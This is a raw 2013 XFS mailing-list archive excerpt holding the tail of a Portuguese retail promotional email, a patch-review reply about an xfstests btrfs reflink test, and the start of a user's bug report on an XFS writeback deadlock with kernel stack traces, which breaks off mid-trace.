XRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDJfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb= 20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83714,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTAyXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDJfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83731,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL21vdGl2b3M= tcGFyYS1jb21wcmFyLzEwMC1zZWd1cm8vP3V0bV9zb3VyY2U9MDJfMDdfMTNfb2ZlcnRhX2RvX2= RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX= 2RpYV8wMl8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83736,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9jZW50cmF= sLWRlLWF0ZW5kaW1lbnRvLz91dG1fc291cmNlPTAyXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX2= 1lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDJfM= DdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83737,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9tb3Rpdm9= zLXBhcmEtY29tcHJhci9kaXZlcnNhcy1mb3JtYXMtZGUtcGFnYW1lbnRvLz91dG1fc291cmNlPT= AyXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX= 2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDJfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20= =3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83738,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9tb3Rpdm9= zLXBhcmEtY29tcHJhci9nYXJhbnRpYS1kZS1zYXRpc2ZhY2FvLz91dG1fc291cmNlPTAyXzA3Xz= EzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBha= WduPW9mZXJ0YV9kb19kaWFfMDJfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83739,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9lc3BhY28= tZG8tY2xpZW50ZS9hdmFsaWFjb2VzL2luZGV4LnBocD91dG1fc291cmNlPTAyXzA3XzEzX29mZX= J0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZ= XJ0YV9kb19kaWFfMDJfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83740,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9pbnN0aXR= 1Y2lvbmFsL2Zvcm5lY2Vkb3Jlcy8/dXRtX3NvdXJjZT0wMl8wN18xM19vZmVydGFfZG9fZGlhJn= V0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhX= zAyXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83732,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL2NoYXQvP3V= 0bV9zb3VyY2U9MDJfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb2= 50ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wMl8wN18xMyZ1dG1fdGVybT0=3D,1,= b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83714,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTAyXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDJfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83741,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL0dpcmFmYUN= vbT91dG1fc291cmNlPTAyXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG= 1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDJfMDdfMTMmdXRtX3Rlcm09,= 1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83742,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cHM6Ly90d2l0dGVyLmNvbS9vZ2lyYWZhP3V0bV9= zb3VyY2U9MDJfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW= 50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wMl8wN18xMyZ1dG1fdGVybT0=3D,1,b3Nz= LnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83743,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cHM6Ly9wbHVzLmdvb2dsZS5jb20vK2dpcmFmYS9= wb3N0cz91dG1fc291cmNlPTAyXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbC= Z1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDJfMDdfMTMmdXRtX3Rlc= m09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83733,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy55b3V0dWJlLmNvbS9vZ2lyYWZhP3V= 0bV9zb3VyY2U9MDJfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb2= 50ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wMl8wN18xMyZ1dG1fdGVybT0=3D,1,= b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83714,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTAyXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDJfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] Pre=E7os e condi=E7=F5es de pagamento v=E1lidos at=E9 04/07/2013 ou enquanto durarem nossos estoques. Imagens meramente ilustrativas.*Consulte sua regi=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3257,644384,83734,7= 26054d887e82fe872065f8d1e9f9edb,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyP3V0bV9zb3V= yY2U9MDJfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PS= Z1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wMl8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNn= aS5jb20=3D] --376b0c8cbaa17417579b74b8675ac272 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline =0D =0D =0D =0D

    Se você nã= o conseguir visualizar esta mensagem, acesse este link
    3D"" =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"01"
    =0D = =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D =0D =0D
    3D"02" = 3D"03" 3D"05" 3D"06" 3D"07" = 3D"09" = 3D"10"
    =0D
    3D"11"
    =0D =0D =0D =0D =0D =0D =0D
    3D"Samsung
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"" 3D""
    S12-PRETONP535U3C-AD1BR
    Projetor Multim=EDdia Powerl= ite EpsonNotebook Ultrafino Samsung
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • Tecnologia 3LCD
      =0D • 800x600 Pixels =
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"#" 1.495 ,12
    =C0 vista no boleto
    ou em at= =E9 12x no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D =0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D
    3D"#" 1.= 495 ,12
    =C0 vista no boleto
    = ou em at=E9 = 12x no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D
    3D""
    =0D = =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    = 3D""3D""
    NB033Cl= asspad330
    Tablet Multilaser M-ProCalculado= ra Gr=E1fica Casio
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • GPS
      =0D • 3G
      =0D • DUAL CHIP
      =0D • Tela 7"
      =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D
    3D"= = 659 = ,12
    =C0 vista no boleto
    ou em at=E9 12x no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • Touchscreen
      =0D • Gr=E1ficos em 3D =
    =0D
    =0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D
    3D"#" = 791 = ,12
    =C0 vista no boleto
    ou em at=E9 12x no cart= =E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D
    3D""
    =0D = =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D==0D 3D""=
    XP-401PH081
    Multifuncional Expression InkjetHeadphone Multilaser
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D =0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D
    3D"#" 324 ,72
    =C0 vista no boleto
    ou em at=E9 12x<= /font> no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • Rota=E7=E3o 360°
      =0D • HI-FI Super Bass =
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"#" = 56 = ,31
    =C0 vista no boleto=0D
    ou em at=E9 12x no cart= =E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D
    3D""
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"" 3D""
    DSL-N10= IHD-EG5/BO2
    Roteador Asus<= /a>HD Externo Sony
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • Modem
      =0D • 12W
      =0D • 150Mbps =
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    = 3D"#" = 210 = ,32
    =C0 vista no boleto=0D
    ou em at=E9 12= x no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • 500GB
      =0D • 4.5W
      =0D • Bus USB =
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"#" 201 ,52
    =C0 vista no boleto=0D
    ou em at= =E9 12x no ca= rt=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"01"
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"02" 3D"03"= 3D"04" 3D"05" 3D"06" 3D"07"
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"09" <= img width=3D"49" height=3D"57" border=3D"0" alt=3D"10" src=3D"http://img.vi= rtualtarget.com.br//1636/base-nova/rodape_10.jpg" /> 3D"11" = 3D"12"
    =0D
    3D"14"
    =
    = Pre=E7os e condi=E7=F5es de pagamento v=E1lidos at=E9 0= 4/07/2013 ou enquanto durarem nossos estoques. Imagens meramente ilustrativ= as.
    =
    *Consulte sua regi=E3o
    =
    =0D =09=09=09=09=09=09=09=09

    Para garantir que nossos comunicados cheguem em sua = caixa de entrada,
    adicione o e-mail ofertadeterca@girafa.com.br= ao seu catálogo de endereços.

    A Girafa res= peita a sua privacidade e é contra o spam na rede.
    Se=20 você não deseja mais receber nossos e-mails, cancele sua inscrição aqui.
    =0D = --376b0c8cbaa17417579b74b8675ac272-- From esandeen@redhat.com Tue Jul 2 10:51:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=MIME_QP_LONG_LINE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 238B67F58 for ; Tue, 2 Jul 2013 10:51:30 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1285D8F8089 for ; Tue, 2 Jul 2013 08:51:26 -0700 (PDT) X-ASG-Debug-ID: 1372780285-04cb6c2a467f39b0001-NocioJ Received: from mx3-phx2.redhat.com (mx3-phx2.redhat.com [209.132.183.24]) by cuda.sgi.com with ESMTP id q7jtGTfzFEzGHfx8 for ; Tue, 02 Jul 2013 08:51:25 -0700 (PDT) X-Barracuda-Envelope-From: esandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.24 Received: from zmail14.collab.prod.int.phx2.redhat.com (zmail14.collab.prod.int.phx2.redhat.com [10.5.83.16]) by mx3-phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r62FpLYb023867; Tue, 2 Jul 2013 11:51:21 -0400 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Subject: Re: [PATCH v3] xfstests: btrfs/316: cross-subvolume sparse copy References: <51D29D17.3050000@oracle.com> <20130702101539.GC14996@dastard> <51D2E33B.1080402@oracle.com> X-ASG-Orig-Subj: Re: [PATCH v3] xfstests: btrfs/316: cross-subvolume sparse copy From: Eric Sandeen MIME-Version: 1.0 In-Reply-To: <51D2E33B.1080402@oracle.com> Message-Id: <6B93E4A6-D1C9-4170-8E1C-B94D24F601BB@redhat.com> Date: Tue, 2 Jul 2013 11:51:21 -0400 (EDT) To: Koen De Wit Cc: Dave Chinner , Eric Sandeen , "xfs@oss.sgi.com" , "linux-btrfs@vger.kernel.org" X-Mailer: Zimbra 8.0.3_GA_5664 (MobileSync - Apple-iPhone3C1/1001.523) Thread-Topic: xfstests: btrfs/316: cross-subvolume sparse copy Thread-Index: VDOQgC4GtDjI+5fN4NaG4oXvwLZWMg== X-Barracuda-Connect: mx3-phx2.redhat.com[209.132.183.24] X-Barracuda-Start-Time: 1372780285 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.84 X-Barracuda-Spam-Status: No, SCORE=0.84 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135605 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars On Jul 2, 2013, at 10:28 AM, Koen De Wit wrote: > Dave, >=20 > Thanks for the review. I will clean up the commit message and do a full ma= il-to-myself-and-test-patch round trip to avoid errors like the wrong test n= umbers in the golden output. I'm sorry for this. >=20 > About cutting out file names from the output. I did this in the first vers= ion of the patch: >=20 > md5sum $TESTDIR1/$F | $AWK_PROG 'END {print $1}' >=20 > but Eric Sandeen suggested to include them in order to provide more contex= t in the output. (See http://oss.sgi.com/archives/xfs/2013-03/msg00231.html a= nd http://oss.sgi.com/archives/xfs/2013-03/msg00220.html) That sounds like a= good idea to me, it makes debugging failures easier. Whose opinion should I= follow? >=20 Heh sorry. IMHO maybe a middle ground; not bare md5sum but show only the ba= se name? In the end up to you; it seems Dave and I have different opinions o= n this. :) Eric > Koen. >=20 >=20 > On 07/02/2013 12:15 PM, Dave Chinner wrote: >=20 >> On Tue, Jul 02, 2013 at 11:27:51AM +0200, Koen De Wit wrote: >>> This testscript creates reflinks to files on different subvolumes, overw= rites the original files and reflinks, and moves reflinked files between sub= volumes. >>>=20 >>> Originally submitted as testcase 302, changes are made based on comments= from Eric: http://oss.sgi.com/archives/xfs/2013-03/msg00231.html >>> Two new common/rc functions used in this script (_require_cp_reflink and= _verify_reflink) have been submitted recently: http://oss.sgi.com/archives/= xfs/2013-05/msg00745.html >>> Thanks to Eric Sandeen and Dave Chinner for the reviews. >>>=20 >>> Version 3: fixing wrapped patch. >>=20 >> Needs a proper commit message - wrap it at 72 columns, change log >> should be placed below the --- devider, not be part of hte commit >> message. >>=20 >> Test numbers do not need to be unique across all test directories, >> just unique within the tests/btrfs directory. >>=20 >>> + >>> +_checksum_files() { >>> + for F in file1 file2 file3 >>> + do >>> + for D in $TESTDIR1 $SCRATCH_MNT $SUBVOL2 >>> + do >>> + md5sum $D/$F | _filter_test_dir | _filter_scratch >>=20 >> Just cut the file name out. No need for filtering at that point... >>=20 >>> + done >>> + done >>> +} >>> + >>> +TESTDIR1=3D$TEST_DIR/test-$seq-1 >>> +TESTDIR2=3D$TEST_DIR/test-$seq-2 >>> +SUBVOL1=3D$TEST_DIR/subvol-$seq-1 >>> +SUBVOL2=3D$TEST_DIR/subvol-$seq-2 >>=20 >> ....-316-..... >>=20 >>> +Verify the file contents: >>> +e09c80c42fda55f9d992e59ca6b3307d TEST_DIR/test-302-1/file1 >>=20 >> which means the golden output is broken, despite the filtering >>=20 >> You should test your patches before posting ;) >>=20 >> FWIW, this is why you should simply cut the filename completely out >> like we do elsewhere.... >>=20 >> Cheers, >>=20 >> Dave. >=20 >=20 From brjerome.1@gmail.com Tue Jul 2 11:02:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1D4F57F58 for ; Tue, 2 Jul 2013 11:02:34 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0C92E8F8068 for ; Tue, 2 Jul 2013 09:02:30 -0700 (PDT) X-ASG-Debug-ID: 1372780948-04cb6c2a467f4010001-NocioJ Received: from mail-ee0-f53.google.com (mail-ee0-f53.google.com [74.125.83.53]) by cuda.sgi.com with ESMTP id 8ZC1sAfkKJskxTT5 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 02 Jul 2013 09:02:28 -0700 (PDT) X-Barracuda-Envelope-From: brjerome.1@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.83.53 Received: by mail-ee0-f53.google.com with SMTP id c41so2867511eek.12 for ; Tue, 02 Jul 2013 09:02:27 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=GvdY75o6NeZ+sGAdG60hC98jju1FD9mRj/SMtGrysO8=; b=jTJ/PHT4teU5IXhjx4OxRyA5qhFkbtcr74lWz6mwfjLFlDfO0qZ1XpH2m5cnYEMZsD b6MOXTMmFKTrSlgXec9xTBDdEqTd+PQbksZpAPZ/ngUSYgGKuWoOWkZziGzV2ZF7IAOm 6PJd9WBFE3czcytDVZPKImtXC2CI3wTXqx9I5DbMoQMU3iLp8vx9vNHROnVP/12VQb1I GzBAJ4O2TxFEGQJRvmYPzpfxVD8kfuyk7tMp3Iyo1LiTyNlqpPyx1dUAu271lG3j1yZS bxD7oIkvpgkf+kZdxM24BXx6kNNfBYCIgal9Q1gmPwiwGDdgcB9mB2lUA68b2NBnL0wR hz2w== MIME-Version: 1.0 X-Received: by 10.14.216.73 with SMTP id f49mr26686103eep.119.1372780947560; Tue, 02 Jul 2013 09:02:27 -0700 (PDT) Received: by 10.15.108.200 with HTTP; Tue, 2 Jul 2013 09:02:27 -0700 (PDT) Date: Tue, 2 Jul 2013 09:02:27 -0700 Message-ID: Subject: Flush and XFS deadlock in D state at fclose (after heavy XFS writes) From: Norman Cheung X-ASG-Orig-Subj: Flush and XFS deadlock in D state at fclose (after heavy XFS writes) To: xfs@oss.sgi.com Content-Type: multipart/alternative; boundary=047d7b603a12bbfcaa04e0897825 X-Barracuda-Connect: mail-ee0-f53.google.com[74.125.83.53] X-Barracuda-Start-Time: 1372780948 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135605 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --047d7b603a12bbfcaa04e0897825 Content-Type: text/plain; charset=ISO-8859-1 I initial message was bounced due to large message size; and since then re-posting seems not to work. Using a different email address hoping would help. If you get this in duplicate, my apologies. I had this issue with Kernel 3.0.13 and reported in this forum ~4 months ago. I'd been working with Suse support to resolve but getting no where. I will be grateful should someone can help and give me some pointers to solve or work around this hang. Suse has asked me to reproduce it with 3.0.80-0.5(their latest release) so all the attached traces were produced against this kernel. My application has ~10+ threads running non-stop with high CPU usage (close to 100% and each is locked to a specific CPU with 32 CPUs in the server). The processing runs in a 5 minute cycle. After the second minute 5 of these threads start writing to disk for 3 minutes. Each thread writes a file ~16G in size. The threads run with very high priority (-2, much higher than flush, I also tried threads with same priority as pdflush, fails sooner) Disk is a raid-5, I have also tried 5 X raid-0, one raid per disk writing thread same result. Below are the traces from magic sysrq "w" If I use O_DIRECT write, my application will run for 5-6 days and hang. If I use buffered write, it will hang after 3-4 hours. And when I attached GDB to my applications, the flush-8:16 will immediately free from D state, and my application too. Without knowing the internal of flush(write back) and XFS, this is my guess looking at the trace below: Could it be that flush(xfs_fs_write_inode) and my application (xfs_file_release at fclose) are holding the same lock? Or could it be that some resources in the system (e.g. page cache?) is exhausted and waiting for hang in waiting for reclaim. Stack trace of a few thread of interests. The entire dump if interested, I can send in a separate mail: Jun 28 19:34:11 IMCNode000 kernel: [29127.580426] SysRq : Show Blocked State Jun 28 19:34:11 IMCNode000 kernel: [29127.580434] task PC stack pid father Jun 28 19:34:11 IMCNode000 kernel: [29127.580629] flush-8:16 D 0000000000000400 0 5502 2 0x00000000 Jun 28 19:34:11 IMCNode000 kernel: [29127.580636] ffff883e5bbb7b90 0000000000000046 ffff8819c91d25c0 ffff883e5bbb6010 Jun 28 19:34:11 IMCNode000 kernel: [29127.580643] 0000000000011180 0000000000011180 ffff883e5bbb7fd8 ffff883e5bbb7fd8 Jun 28 19:34:11 IMCNode000 kernel: [29127.580651] 0000000000011180 ffff883e5b8aa0c0 ffff8819c91d25c0 ffff8819dc99a3c0 Jun 28 19:34:11 IMCNode000 kernel: [29127.580658] Call Trace: Jun 28 19:34:11 IMCNode000 kernel: [29127.580711] [] xfs_ioend_wait+0x85/0xb0 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.580800] [] xfs_fs_write_inode+0xb8/0x190 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.580880] [] writeback_single_inode+0x2f3/0x360 Jun 28 19:34:11 IMCNode000 kernel: [29127.580889] [] writeback_sb_inodes+0xc4/0x1a0 Jun 28 19:34:11 IMCNode000 kernel: [29127.580897] [] writeback_inodes_wb+0xd3/0x160 Jun 28 19:34:11 IMCNode000 kernel: [29127.580904] [] wb_writeback+0x3bb/0x400 Jun 28 19:34:11 IMCNode000 kernel: [29127.580911] [] wb_do_writeback+0x23b/0x250 Jun 28 19:34:11 IMCNode000 kernel: [29127.580918] [] bdi_writeback_thread+0xe4/0x240 Jun 28 19:34:11 IMCNode000 kernel: [29127.580926] [] kthread+0x96/0xa0 Jun 28 19:34:11 IMCNode000 kernel: [29127.580936] [] kernel_thread_helper+0x4/0x10 Jun 28 19:34:11 IMCNode000 kernel: [29127.580954] Tigris_IMC.exe D 0000000100669478 0 6347 6269 0x00000000 Jun 28 19:34:11 IMCNode000 kernel: [29127.580960] ffff8819dc9b5848 0000000000000086 0000000000000000 ffff8819dc9b4010 Jun 28 19:34:11 IMCNode000 kernel: [29127.580968] 0000000000011180 0000000000011180 ffff8819dc9b5fd8 ffff8819dc9b5fd8 Jun 28 19:34:11 IMCNode000 kernel: [29127.580975] 0000000000011180 ffff8819dc9b2540 0000000085227080 ffff883e86942400 Jun 28 19:34:11 IMCNode000 kernel: [29127.580982] Call Trace: Jun 28 19:34:11 IMCNode000 kernel: [29127.580991] [] schedule_timeout+0x205/0x2a0 Jun 28 19:34:11 IMCNode000 kernel: [29127.580998] [] __down+0x68/0xb0 Jun 28 19:34:11 IMCNode000 kernel: [29127.581008] [] down+0x47/0x50 Jun 28 19:34:11 IMCNode000 kernel: [29127.581030] [] xfs_buf_lock+0x59/0xc0 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.581104] [] _xfs_buf_find+0x11b/0x210 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.581176] [] xfs_buf_get+0x36/0x1d0 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.581248] [] xfs_buf_read+0x24/0x110 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.581322] [] xfs_trans_read_buf+0x28e/0x3e0 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.581393] [] xfs_btree_read_buf_block+0x5e/0xd0 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.581438] [] xfs_btree_lookup_get_block+0x82/0xf0 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.581480] [] xfs_btree_lookup+0xd2/0x470 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.581522] [] xfs_bmap_del_extent+0x147/0xac0 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.581560] [] xfs_bunmapi+0x5d7/0xbc0 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.581601] [] xfs_itruncate_finish+0x168/0x330 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.581657] [] xfs_free_eofblocks+0x1ce/0x2b0 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.581725] [] xfs_release+0x13c/0x230 [xfs] Jun 28 19:34:11 IMCNode000 kernel: [29127.581793] [] 